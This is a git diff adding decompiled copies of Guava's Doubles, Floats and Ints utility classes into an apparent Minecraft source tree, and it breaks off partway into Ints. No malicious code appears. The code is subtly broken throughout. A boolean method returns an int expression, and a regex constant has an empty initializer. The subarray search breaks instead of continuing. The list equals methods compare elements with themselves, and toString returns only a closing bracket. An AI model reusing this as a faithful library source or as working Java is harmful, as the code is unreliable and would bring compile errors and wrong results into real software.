diff --git a/src/minecraft/com/google/common/primitives/Doubles.java b/src/minecraft/com/google/common/primitives/Doubles.java
new file mode 100644
index 0000000..f76e88a
--- /dev/null
+++ b/src/minecraft/com/google/common/primitives/Doubles.java
@@ -0,0 +1,635 @@
+package com.google.common.primitives;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.annotations.GwtIncompatible;
+import com.google.common.base.Converter;
+import com.google.common.base.Preconditions;
+import java.io.Serializable;
+import java.util.AbstractList;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.Comparator;
+import java.util.List;
+import java.util.RandomAccess;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(emulated=true)
+public final class Doubles
+{
+  public static final int BYTES = 8;
+  
+  private Doubles() {}
+  
+  public static int hashCode(double value)
+  {
+    return Double.valueOf(value).hashCode();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int compare(double a, double b)
+  {
+    return Double.compare(a, b);
+  }
+  
+
+
+
+
+
+
+  public static boolean isFinite(double value)
+  {
+    return (Double.NEGATIVE_INFINITY < value ? 1 : 0) & (value < Double.POSITIVE_INFINITY ? 1 : 0);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static boolean contains(double[] array, double target)
+  {
+    for (double value : array) {
+      if (value == target) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static int indexOf(double[] array, double target)
+  {
+    return indexOf(array, target, 0, array.length);
+  }
+  
+
+  private static int indexOf(double[] array, double target, int start, int end)
+  {
+    for (int i = start; i < end; i++) {
+      if (array[i] == target) {
+        return i;
+      }
+    }
+    return -1;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int indexOf(double[] array, double[] target)
+  {
+    Preconditions.checkNotNull(array, "array");
+    Preconditions.checkNotNull(target, "target");
+    if (target.length == 0) {
+      return 0;
+    }
+    
+    label65:
+    for (int i = 0; i < array.length - target.length + 1; i++) {
+      for (int j = 0; j < target.length; j++) {
+        if (array[(i + j)] != target[j]) {
+          break label65;
+        }
+      }
+      return i;
+    }
+    return -1;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static int lastIndexOf(double[] array, double target)
+  {
+    return lastIndexOf(array, target, 0, array.length);
+  }
+  
+
+  private static int lastIndexOf(double[] array, double target, int start, int end)
+  {
+    for (int i = end - 1; i >= start; i--) {
+      if (array[i] == target) {
+        return i;
+      }
+    }
+    return -1;
+  }
+  
+
+
+
+
+
+
+
+
+  public static double min(double... array)
+  {
+    Preconditions.checkArgument(array.length > 0);
+    double min = array[0];
+    for (int i = 1; i < array.length; i++) {
+      min = Math.min(min, array[i]);
+    }
+    return min;
+  }
+  
+
+
+
+
+
+
+
+
+  public static double max(double... array)
+  {
+    Preconditions.checkArgument(array.length > 0);
+    double max = array[0];
+    for (int i = 1; i < array.length; i++) {
+      max = Math.max(max, array[i]);
+    }
+    return max;
+  }
+  
+
+
+
+
+
+
+
+
+  public static double[] concat(double[]... arrays)
+  {
+    int length = 0;
+    for (double[] array : arrays) {
+      length += array.length;
+    }
+    double[] result = new double[length];
+    int pos = 0;
+    for (double[] array : arrays) {
+      System.arraycopy(array, 0, result, pos, array.length);
+      pos += array.length;
+    }
+    return result;
+  }
+  
+  private static final class DoubleConverter extends Converter<String, Double> implements Serializable
+  {
+    static final DoubleConverter INSTANCE = new DoubleConverter();
+    
+    private DoubleConverter() {}
+    
+    protected Double doForward(String value) { return Double.valueOf(value); }
+    
+
+    protected String doBackward(Double value)
+    {
+      return value.toString();
+    }
+    
+    public String toString()
+    {
+      return "Doubles.stringConverter()";
+    }
+    
+    private Object readResolve() {
+      return INSTANCE;
+    }
+    
+
+
+    private static final long serialVersionUID = 1L;
+  }
+  
+
+
+  @Beta
+  public static Converter<String, Double> stringConverter()
+  {
+    return DoubleConverter.INSTANCE;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static double[] ensureCapacity(double[] array, int minLength, int padding)
+  {
+    Preconditions.checkArgument(minLength >= 0, "Invalid minLength: %s", new Object[] { Integer.valueOf(minLength) });
+    Preconditions.checkArgument(padding >= 0, "Invalid padding: %s", new Object[] { Integer.valueOf(padding) });
+    return array.length < minLength ? copyOf(array, minLength + padding) : array;
+  }
+  
+
+
+  private static double[] copyOf(double[] original, int length)
+  {
+    double[] copy = new double[length];
+    System.arraycopy(original, 0, copy, 0, Math.min(original.length, length));
+    return copy;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static String join(String separator, double... array)
+  {
+    Preconditions.checkNotNull(separator);
+    if (array.length == 0) {
+      return "";
+    }
+    
+
+    StringBuilder builder = new StringBuilder(array.length * 12);
+    builder.append(array[0]);
+    for (int i = 1; i < array.length; i++) {
+      builder.append(separator).append(array[i]);
+    }
+    return builder.toString();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static Comparator<double[]> lexicographicalComparator()
+  {
+    return LexicographicalComparator.INSTANCE;
+  }
+  
+  private static enum LexicographicalComparator implements Comparator<double[]> {
+    INSTANCE;
+    
+    private LexicographicalComparator() {}
+    
+    public int compare(double[] left, double[] right) { int minLength = Math.min(left.length, right.length);
+      for (int i = 0; i < minLength; i++) {
+        int result = Doubles.compare(left[i], right[i]);
+        if (result != 0) {
+          return result;
+        }
+      }
+      return left.length - right.length;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static double[] toArray(Collection<? extends Number> collection)
+  {
+    if ((collection instanceof DoubleArrayAsList)) {
+      return ((DoubleArrayAsList)collection).toDoubleArray();
+    }
+    
+    Object[] boxedArray = collection.toArray();
+    int len = boxedArray.length;
+    double[] array = new double[len];
+    for (int i = 0; i < len; i++)
+    {
+      array[i] = ((Number)Preconditions.checkNotNull(boxedArray[i])).doubleValue();
+    }
+    return array;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static List<Double> asList(double... backingArray)
+  {
+    if (backingArray.length == 0) {
+      return Collections.emptyList();
+    }
+    return new DoubleArrayAsList(backingArray);
+  }
+  
+  @GwtCompatible
+  private static class DoubleArrayAsList extends AbstractList<Double> implements RandomAccess, Serializable {
+    final double[] array;
+    final int start;
+    final int end;
+    private static final long serialVersionUID = 0L;
+    
+    DoubleArrayAsList(double[] array) {
+      this(array, 0, array.length);
+    }
+    
+    DoubleArrayAsList(double[] array, int start, int end) {
+      this.array = array;
+      this.start = start;
+      this.end = end;
+    }
+    
+    public int size() {
+      return end - start;
+    }
+    
+    public boolean isEmpty() {
+      return false;
+    }
+    
+    public Double get(int index) {
+      Preconditions.checkElementIndex(index, size());
+      return Double.valueOf(array[(start + index)]);
+    }
+    
+    public boolean contains(Object target)
+    {
+      return ((target instanceof Double)) && (Doubles.indexOf(array, ((Double)target).doubleValue(), start, end) != -1);
+    }
+    
+
+    public int indexOf(Object target)
+    {
+      if ((target instanceof Double)) {
+        int i = Doubles.indexOf(array, ((Double)target).doubleValue(), start, end);
+        if (i >= 0) {
+          return i - start;
+        }
+      }
+      return -1;
+    }
+    
+    public int lastIndexOf(Object target)
+    {
+      if ((target instanceof Double)) {
+        int i = Doubles.lastIndexOf(array, ((Double)target).doubleValue(), start, end);
+        if (i >= 0) {
+          return i - start;
+        }
+      }
+      return -1;
+    }
+    
+    public Double set(int index, Double element) {
+      Preconditions.checkElementIndex(index, size());
+      double oldValue = array[(start + index)];
+      
+      array[(start + index)] = ((Double)Preconditions.checkNotNull(element)).doubleValue();
+      return Double.valueOf(oldValue);
+    }
+    
+    public List<Double> subList(int fromIndex, int toIndex) {
+      int size = size();
+      Preconditions.checkPositionIndexes(fromIndex, toIndex, size);
+      if (fromIndex == toIndex) {
+        return Collections.emptyList();
+      }
+      return new DoubleArrayAsList(array, start + fromIndex, start + toIndex);
+    }
+    
+    public boolean equals(Object object) {
+      if (object == this) {
+        return true;
+      }
+      if ((object instanceof DoubleArrayAsList)) {
+        DoubleArrayAsList that = (DoubleArrayAsList)object;
+        int size = size();
+        if (that.size() != size) {
+          return false;
+        }
+        for (int i = 0; i < size; i++) {
+          if (array[(start + i)] != array[(start + i)]) {
+            return false;
+          }
+        }
+        return true;
+      }
+      return super.equals(object);
+    }
+    
+    public int hashCode() {
+      int result = 1;
+      for (int i = start; i < end; i++) {
+        result = 31 * result + Doubles.hashCode(array[i]);
+      }
+      return result;
+    }
+    
+    public String toString() {
+      StringBuilder builder = new StringBuilder(size() * 12);
+      builder.append('[').append(array[start]);
+      for (int i = start + 1; i < end; i++) {
+        builder.append(", ").append(array[i]);
+      }
+      return ']';
+    }
+    
+    double[] toDoubleArray()
+    {
+      int size = size();
+      double[] result = new double[size];
+      System.arraycopy(array, start, result, 0, size);
+      return result;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  @GwtIncompatible("regular expressions")
+  static final Pattern FLOATING_POINT_PATTERN = ;
+  
+  @GwtIncompatible("regular expressions")
+  private static Pattern fpPattern() {
+    String decimal = "(?:\\d++(?:\\.\\d*+)?|\\.\\d++)";
+    String completeDec = decimal + "(?:[eE][+-]?\\d++)?[fFdD]?";
+    String hex = "(?:\\p{XDigit}++(?:\\.\\p{XDigit}*+)?|\\.\\p{XDigit}++)";
+    String completeHex = "0[xX]" + hex + "[pP][+-]?\\d++[fFdD]?";
+    String fpPattern = "[+-]?(?:NaN|Infinity|" + completeDec + "|" + completeHex + ")";
+    return Pattern.compile(fpPattern);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @Nullable
+  @GwtIncompatible("regular expressions")
+  @Beta
+  public static Double tryParse(String string)
+  {
+    if (FLOATING_POINT_PATTERN.matcher(string).matches())
+    {
+      try
+      {
+        return Double.valueOf(Double.parseDouble(string));
+      }
+      catch (NumberFormatException e) {}
+    }
+    
+
+    return null;
+  }
+}
diff --git a/src/minecraft/com/google/common/primitives/Floats.java b/src/minecraft/com/google/common/primitives/Floats.java
new file mode 100644
index 0000000..e0b313c
--- /dev/null
+++ b/src/minecraft/com/google/common/primitives/Floats.java
@@ -0,0 +1,612 @@
+package com.google.common.primitives;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.annotations.GwtIncompatible;
+import com.google.common.base.Converter;
+import com.google.common.base.Preconditions;
+import java.io.Serializable;
+import java.util.AbstractList;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.Comparator;
+import java.util.List;
+import java.util.RandomAccess;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(emulated=true)
+public final class Floats
+{
+  public static final int BYTES = 4;
+  
+  private Floats() {}
+  
+  public static int hashCode(float value)
+  {
+    return Float.valueOf(value).hashCode();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int compare(float a, float b)
+  {
+    return Float.compare(a, b);
+  }
+  
+
+
+
+
+
+
+  public static boolean isFinite(float value)
+  {
+    return (Float.NEGATIVE_INFINITY < value ? 1 : 0) & (value < Float.POSITIVE_INFINITY ? 1 : 0);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static boolean contains(float[] array, float target)
+  {
+    for (float value : array) {
+      if (value == target) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static int indexOf(float[] array, float target)
+  {
+    return indexOf(array, target, 0, array.length);
+  }
+  
+
+  private static int indexOf(float[] array, float target, int start, int end)
+  {
+    for (int i = start; i < end; i++) {
+      if (array[i] == target) {
+        return i;
+      }
+    }
+    return -1;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int indexOf(float[] array, float[] target)
+  {
+    Preconditions.checkNotNull(array, "array");
+    Preconditions.checkNotNull(target, "target");
+    if (target.length == 0) {
+      return 0;
+    }
+    
+    label65:
+    for (int i = 0; i < array.length - target.length + 1; i++) {
+      for (int j = 0; j < target.length; j++) {
+        if (array[(i + j)] != target[j]) {
+          break label65;
+        }
+      }
+      return i;
+    }
+    return -1;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static int lastIndexOf(float[] array, float target)
+  {
+    return lastIndexOf(array, target, 0, array.length);
+  }
+  
+
+  private static int lastIndexOf(float[] array, float target, int start, int end)
+  {
+    for (int i = end - 1; i >= start; i--) {
+      if (array[i] == target) {
+        return i;
+      }
+    }
+    return -1;
+  }
+  
+
+
+
+
+
+
+
+
+  public static float min(float... array)
+  {
+    Preconditions.checkArgument(array.length > 0);
+    float min = array[0];
+    for (int i = 1; i < array.length; i++) {
+      min = Math.min(min, array[i]);
+    }
+    return min;
+  }
+  
+
+
+
+
+
+
+
+
+  public static float max(float... array)
+  {
+    Preconditions.checkArgument(array.length > 0);
+    float max = array[0];
+    for (int i = 1; i < array.length; i++) {
+      max = Math.max(max, array[i]);
+    }
+    return max;
+  }
+  
+
+
+
+
+
+
+
+
+  public static float[] concat(float[]... arrays)
+  {
+    int length = 0;
+    for (float[] array : arrays) {
+      length += array.length;
+    }
+    float[] result = new float[length];
+    int pos = 0;
+    for (float[] array : arrays) {
+      System.arraycopy(array, 0, result, pos, array.length);
+      pos += array.length;
+    }
+    return result;
+  }
+  
+  private static final class FloatConverter extends Converter<String, Float> implements Serializable
+  {
+    static final FloatConverter INSTANCE = new FloatConverter();
+    
+    private FloatConverter() {}
+    
+    protected Float doForward(String value) { return Float.valueOf(value); }
+    
+
+    protected String doBackward(Float value)
+    {
+      return value.toString();
+    }
+    
+    public String toString()
+    {
+      return "Floats.stringConverter()";
+    }
+    
+    private Object readResolve() {
+      return INSTANCE;
+    }
+    
+
+
+    private static final long serialVersionUID = 1L;
+  }
+  
+
+
+  @Beta
+  public static Converter<String, Float> stringConverter()
+  {
+    return FloatConverter.INSTANCE;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static float[] ensureCapacity(float[] array, int minLength, int padding)
+  {
+    Preconditions.checkArgument(minLength >= 0, "Invalid minLength: %s", new Object[] { Integer.valueOf(minLength) });
+    Preconditions.checkArgument(padding >= 0, "Invalid padding: %s", new Object[] { Integer.valueOf(padding) });
+    return array.length < minLength ? copyOf(array, minLength + padding) : array;
+  }
+  
+
+
+  private static float[] copyOf(float[] original, int length)
+  {
+    float[] copy = new float[length];
+    System.arraycopy(original, 0, copy, 0, Math.min(original.length, length));
+    return copy;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static String join(String separator, float... array)
+  {
+    Preconditions.checkNotNull(separator);
+    if (array.length == 0) {
+      return "";
+    }
+    
+
+    StringBuilder builder = new StringBuilder(array.length * 12);
+    builder.append(array[0]);
+    for (int i = 1; i < array.length; i++) {
+      builder.append(separator).append(array[i]);
+    }
+    return builder.toString();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static Comparator<float[]> lexicographicalComparator()
+  {
+    return LexicographicalComparator.INSTANCE;
+  }
+  
+  private static enum LexicographicalComparator implements Comparator<float[]> {
+    INSTANCE;
+    
+    private LexicographicalComparator() {}
+    
+    public int compare(float[] left, float[] right) { int minLength = Math.min(left.length, right.length);
+      for (int i = 0; i < minLength; i++) {
+        int result = Floats.compare(left[i], right[i]);
+        if (result != 0) {
+          return result;
+        }
+      }
+      return left.length - right.length;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static float[] toArray(Collection<? extends Number> collection)
+  {
+    if ((collection instanceof FloatArrayAsList)) {
+      return ((FloatArrayAsList)collection).toFloatArray();
+    }
+    
+    Object[] boxedArray = collection.toArray();
+    int len = boxedArray.length;
+    float[] array = new float[len];
+    for (int i = 0; i < len; i++)
+    {
+      array[i] = ((Number)Preconditions.checkNotNull(boxedArray[i])).floatValue();
+    }
+    return array;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static List<Float> asList(float... backingArray)
+  {
+    if (backingArray.length == 0) {
+      return Collections.emptyList();
+    }
+    return new FloatArrayAsList(backingArray);
+  }
+  
+  @GwtCompatible
+  private static class FloatArrayAsList extends AbstractList<Float> implements RandomAccess, Serializable {
+    final float[] array;
+    final int start;
+    final int end;
+    private static final long serialVersionUID = 0L;
+    
+    FloatArrayAsList(float[] array) {
+      this(array, 0, array.length);
+    }
+    
+    FloatArrayAsList(float[] array, int start, int end) {
+      this.array = array;
+      this.start = start;
+      this.end = end;
+    }
+    
+    public int size() {
+      return end - start;
+    }
+    
+    public boolean isEmpty() {
+      return false;
+    }
+    
+    public Float get(int index) {
+      Preconditions.checkElementIndex(index, size());
+      return Float.valueOf(array[(start + index)]);
+    }
+    
+    public boolean contains(Object target)
+    {
+      return ((target instanceof Float)) && (Floats.indexOf(array, ((Float)target).floatValue(), start, end) != -1);
+    }
+    
+
+    public int indexOf(Object target)
+    {
+      if ((target instanceof Float)) {
+        int i = Floats.indexOf(array, ((Float)target).floatValue(), start, end);
+        if (i >= 0) {
+          return i - start;
+        }
+      }
+      return -1;
+    }
+    
+    public int lastIndexOf(Object target)
+    {
+      if ((target instanceof Float)) {
+        int i = Floats.lastIndexOf(array, ((Float)target).floatValue(), start, end);
+        if (i >= 0) {
+          return i - start;
+        }
+      }
+      return -1;
+    }
+    
+    public Float set(int index, Float element) {
+      Preconditions.checkElementIndex(index, size());
+      float oldValue = array[(start + index)];
+      
+      array[(start + index)] = ((Float)Preconditions.checkNotNull(element)).floatValue();
+      return Float.valueOf(oldValue);
+    }
+    
+    public List<Float> subList(int fromIndex, int toIndex) {
+      int size = size();
+      Preconditions.checkPositionIndexes(fromIndex, toIndex, size);
+      if (fromIndex == toIndex) {
+        return Collections.emptyList();
+      }
+      return new FloatArrayAsList(array, start + fromIndex, start + toIndex);
+    }
+    
+    public boolean equals(Object object) {
+      if (object == this) {
+        return true;
+      }
+      if ((object instanceof FloatArrayAsList)) {
+        FloatArrayAsList that = (FloatArrayAsList)object;
+        int size = size();
+        if (that.size() != size) {
+          return false;
+        }
+        for (int i = 0; i < size; i++) {
+          if (array[(start + i)] != array[(start + i)]) {
+            return false;
+          }
+        }
+        return true;
+      }
+      return super.equals(object);
+    }
+    
+    public int hashCode() {
+      int result = 1;
+      for (int i = start; i < end; i++) {
+        result = 31 * result + Floats.hashCode(array[i]);
+      }
+      return result;
+    }
+    
+    public String toString() {
+      StringBuilder builder = new StringBuilder(size() * 12);
+      builder.append('[').append(array[start]);
+      for (int i = start + 1; i < end; i++) {
+        builder.append(", ").append(array[i]);
+      }
+      return ']';
+    }
+    
+    float[] toFloatArray()
+    {
+      int size = size();
+      float[] result = new float[size];
+      System.arraycopy(array, start, result, 0, size);
+      return result;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @Nullable
+  @GwtIncompatible("regular expressions")
+  @Beta
+  public static Float tryParse(String string)
+  {
+    if (Doubles.FLOATING_POINT_PATTERN.matcher(string).matches())
+    {
+      try
+      {
+        return Float.valueOf(Float.parseFloat(string));
+      }
+      catch (NumberFormatException e) {}
+    }
+    
+
+    return null;
+  }
+}
diff --git a/src/minecraft/com/google/common/primitives/Ints.java b/src/minecraft/com/google/common/primitives/Ints.java
new file mode 100644
index 0000000..738c516
--- /dev/null
+++ b/src/minecraft/com/google/common/primitives/Ints.java
@@ -0,0 +1,749 @@
+package com.google.common.primitives;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.annotations.GwtIncompatible;
+import com.google.common.base.Converter;
+import com.google.common.base.Preconditions;
+import java.io.Serializable;
+import java.util.AbstractList;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.Comparator;
+import java.util.List;
+import java.util.RandomAccess;
+import javax.annotation.CheckForNull;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(emulated=true)
+public final class Ints
+{
+  public static final int BYTES = 4;
+  public static final int MAX_POWER_OF_TWO = 1073741824;
+  
+  public static int hashCode(int value)
+  {
+    return value;
+  }
+  
+
+
+
+
+
+
+
+  public static int checkedCast(long value)
+  {
+    int result = (int)value;
+    if (result != value)
+    {
+      throw new IllegalArgumentException("Out of range: " + value);
+    }
+    return result;
+  }
+  
+
+
+
+
+
+
+
+  public static int saturatedCast(long value)
+  {
+    if (value > 2147483647L) {
+      return Integer.MAX_VALUE;
+    }
+    if (value < -2147483648L) {
+      return Integer.MIN_VALUE;
+    }
+    return (int)value;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public static int compare(int a, int b)
+  {
+    return a > b ? 1 : a < b ? -1 : 0;
+  }
+  
+
+
+
+
+
+
+
+
+  public static boolean contains(int[] array, int target)
+  {
+    for (int value : array) {
+      if (value == target) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+
+
+
+
+
+
+
+  public static int indexOf(int[] array, int target)
+  {
+    return indexOf(array, target, 0, array.length);
+  }
+  
+
+  private static int indexOf(int[] array, int target, int start, int end)
+  {
+    for (int i = start; i < end; i++) {
+      if (array[i] == target) {
+        return i;
+      }
+    }
+    return -1;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static int indexOf(int[] array, int[] target)
+  {
+    Preconditions.checkNotNull(array, "array");
+    Preconditions.checkNotNull(target, "target");
+    if (target.length == 0) {
+      return 0;
+    }
+    
+    label64:
+    for (int i = 0; i < array.length - target.length + 1; i++) {
+      for (int j = 0; j < target.length; j++) {
+        if (array[(i + j)] != target[j]) {
+          break label64;
+        }
+      }
+      return i;
+    }
+    return -1;
+  }
+  
+
+
+
+
+
+
+
+
+  public static int lastIndexOf(int[] array, int target)
+  {
+    return lastIndexOf(array, target, 0, array.length);
+  }
+  
+
+  private static int lastIndexOf(int[] array, int target, int start, int end)
+  {
+    for (int i = end - 1; i >= start; i--) {
+      if (array[i] == target) {
+        return i;
+      }
+    }
+    return -1;
+  }
+  
+
+
+
+
+
+
+
+  public static int min(int... array)
+  {
+    Preconditions.checkArgument(array.length > 0);
+    int min = array[0];
+    for (int i = 1; i < array.length; i++) {
+      if (array[i] < min) {
+        min = array[i];
+      }
+    }
+    return min;
+  }
+  
+
+
+
+
+
+
+
+  public static int max(int... array)
+  {
+    Preconditions.checkArgument(array.length > 0);
+    int max = array[0];
+    for (int i = 1; i < array.length; i++) {
+      if (array[i] > max) {
+        max = array[i];
+      }
+    }
+    return max;
+  }
+  
+
+
+
+
+
+
+
+
+  public static int[] concat(int[]... arrays)
+  {
+    int length = 0;
+    for (int[] array : arrays) {
+      length += array.length;
+    }
+    int[] result = new int[length];
+    int pos = 0;
+    for (int[] array : arrays) {
+      System.arraycopy(array, 0, result, pos, array.length);
+      pos += array.length;
+    }
+    return result;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  @GwtIncompatible("doesn't work")
+  public static byte[] toByteArray(int value)
+  {
+    return new byte[] { (byte)(value >> 24), (byte)(value >> 16), (byte)(value >> 8), (byte)value };
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @GwtIncompatible("doesn't work")
+  public static int fromByteArray(byte[] bytes)
+  {
+    Preconditions.checkArgument(bytes.length >= 4, "array too small: %s < %s", new Object[] { Integer.valueOf(bytes.length), Integer.valueOf(4) });
+    
+    return fromBytes(bytes[0], bytes[1], bytes[2], bytes[3]);
+  }
+  
+
+
+
+
+
+
+  @GwtIncompatible("doesn't work")
+  public static int fromBytes(byte b1, byte b2, byte b3, byte b4)
+  {
+    return b1 << 24 | (b2 & 0xFF) << 16 | (b3 & 0xFF) << 8 | b4 & 0xFF;
+  }
+  
+  private static final class IntConverter extends Converter<String, Integer> implements Serializable
+  {
+    static final IntConverter INSTANCE = new IntConverter();
+    
+    private IntConverter() {}
+    
+    protected Integer doForward(String value) { return Integer.decode(value); }
+    
+
+    protected String doBackward(Integer value)
+    {
+      return value.toString();
+    }
+    
+    public String toString()
+    {
+      return "Ints.stringConverter()";
+    }
+    
+    private Object readResolve() {
+      return INSTANCE;
+    }
+    
+
+
+    private static final long serialVersionUID = 1L;
+  }
+  
+
+
+  @Beta
+  public static Converter<String, Integer> stringConverter()
+  {
+    return IntConverter.INSTANCE;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int[] ensureCapacity(int[] array, int minLength, int padding)
+  {
+    Preconditions.checkArgument(minLength >= 0, "Invalid minLength: %s", new Object[] { Integer.valueOf(minLength) });
+    Preconditions.checkArgument(padding >= 0, "Invalid padding: %s", new Object[] { Integer.valueOf(padding) });
+    return array.length < minLength ? copyOf(array, minLength + padding) : array;
+  }
+  
+
+
+  private static int[] copyOf(int[] original, int length)
+  {
+    int[] copy = new int[length];
+    System.arraycopy(original, 0, copy, 0, Math.min(original.length, length));
+    return copy;
+  }
+  
+
+
+
+
+
+
+
+
+  public static String join(String separator, int... array)
+  {
+    Preconditions.checkNotNull(separator);
+    if (array.length == 0) {
+      return "";
+    }
+    
+
+    StringBuilder builder = new StringBuilder(array.length * 5);
+    builder.append(array[0]);
+    for (int i = 1; i < array.length; i++) {
+      builder.append(separator).append(array[i]);
+    }
+    return builder.toString();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static Comparator<int[]> lexicographicalComparator()
+  {
+    return LexicographicalComparator.INSTANCE;
+  }
+  
+  private static enum LexicographicalComparator implements Comparator<int[]> {
+    INSTANCE;
+    
+    private LexicographicalComparator() {}
+    
+    public int compare(int[] left, int[] right) { int minLength = Math.min(left.length, right.length);
+      for (int i = 0; i < minLength; i++) {
+        int result = Ints.compare(left[i], right[i]);
+        if (result != 0) {
+          return result;
+        }
+      }
+      return left.length - right.length;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int[] toArray(Collection<? extends Number> collection)
+  {
+    if ((collection instanceof IntArrayAsList)) {
+      return ((IntArrayAsList)collection).toIntArray();
+    }
+    
+    Object[] boxedArray = collection.toArray();
+    int len = boxedArray.length;
+    int[] array = new int[len];
+    for (int i = 0; i < len; i++)
+    {
+      array[i] = ((Number)Preconditions.checkNotNull(boxedArray[i])).intValue();
+    }
+    return array;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static List<Integer> asList(int... backingArray)
+  {
+    if (backingArray.length == 0) {
+      return Collections.emptyList();
+    }
+    return new IntArrayAsList(backingArray);
+  }
+  
+  @GwtCompatible
+  private static class IntArrayAsList extends AbstractList<Integer> implements RandomAccess, Serializable {
+    final int[] array;
+    final int start;
+    final int end;
+    private static final long serialVersionUID = 0L;
+    
+    IntArrayAsList(int[] array) {
+      this(array, 0, array.length);
+    }
+    
+    IntArrayAsList(int[] array, int start, int end) {
+      this.array = array;
+      this.start = start;
+      this.end = end;
+    }
+    
+    public int size() {
+      return end - start;
+    }
+    
+    public boolean isEmpty() {
+      return false;
+    }
+    
+    public Integer get(int index) {
+      Preconditions.checkElementIndex(index, size());
+      return Integer.valueOf(array[(start + index)]);
+    }
+    
+    public boolean contains(Object target)
+    {
+      return ((target instanceof Integer)) && (Ints.indexOf(array, ((Integer)target).intValue(), start, end) != -1);
+    }
+    
+
+    public int indexOf(Object target)
+    {
+      if ((target instanceof Integer)) {
+        int i = Ints.indexOf(array, ((Integer)target).intValue(), start, end);
+        if (i >= 0) {
+          return i - start;
+        }
+      }
+      return -1;
+    }
+    
+    public int lastIndexOf(Object target)
+    {
+      if ((target instanceof Integer)) {
+        int i = Ints.lastIndexOf(array, ((Integer)target).intValue(), start, end);
+        if (i >= 0) {
+          return i - start;
+        }
+      }
+      return -1;
+    }
+    
+    public Integer set(int index, Integer element) {
+      Preconditions.checkElementIndex(index, size());
+      int oldValue = array[(start + index)];
+      
+      array[(start + index)] = ((Integer)Preconditions.checkNotNull(element)).intValue();
+      return Integer.valueOf(oldValue);
+    }
+    
+    public List<Integer> subList(int fromIndex, int toIndex) {
+      int size = size();
+      Preconditions.checkPositionIndexes(fromIndex, toIndex, size);
+      if (fromIndex == toIndex) {
+        return Collections.emptyList();
+      }
+      return new IntArrayAsList(array, start + fromIndex, start + toIndex);
+    }
+    
+    public boolean equals(Object object) {
+      if (object == this) {
+        return true;
+      }
+      if ((object instanceof IntArrayAsList)) {
+        IntArrayAsList that = (IntArrayAsList)object;
+        int size = size();
+        if (that.size() != size) {
+          return false;
+        }
+        for (int i = 0; i < size; i++) {
+          if (array[(start + i)] != array[(start + i)]) {
+            return false;
+          }
+        }
+        return true;
+      }
+      return super.equals(object);
+    }
+    
+    public int hashCode() {
+      int result = 1;
+      for (int i = start; i < end; i++) {
+        result = 31 * result + Ints.hashCode(array[i]);
+      }
+      return result;
+    }
+    
+    public String toString() {
+      StringBuilder builder = new StringBuilder(size() * 5);
+      builder.append('[').append(array[start]);
+      for (int i = start + 1; i < end; i++) {
+        builder.append(", ").append(array[i]);
+      }
+      return ']';
+    }
+    
+    int[] toIntArray()
+    {
+      int size = size();
+      int[] result = new int[size];
+      System.arraycopy(array, start, result, 0, size);
+      return result;
+    }
+  }
+  
+
+
+  private static final byte[] asciiDigits = new byte['€'];
+  
+  static {
+    Arrays.fill(asciiDigits, (byte)-1);
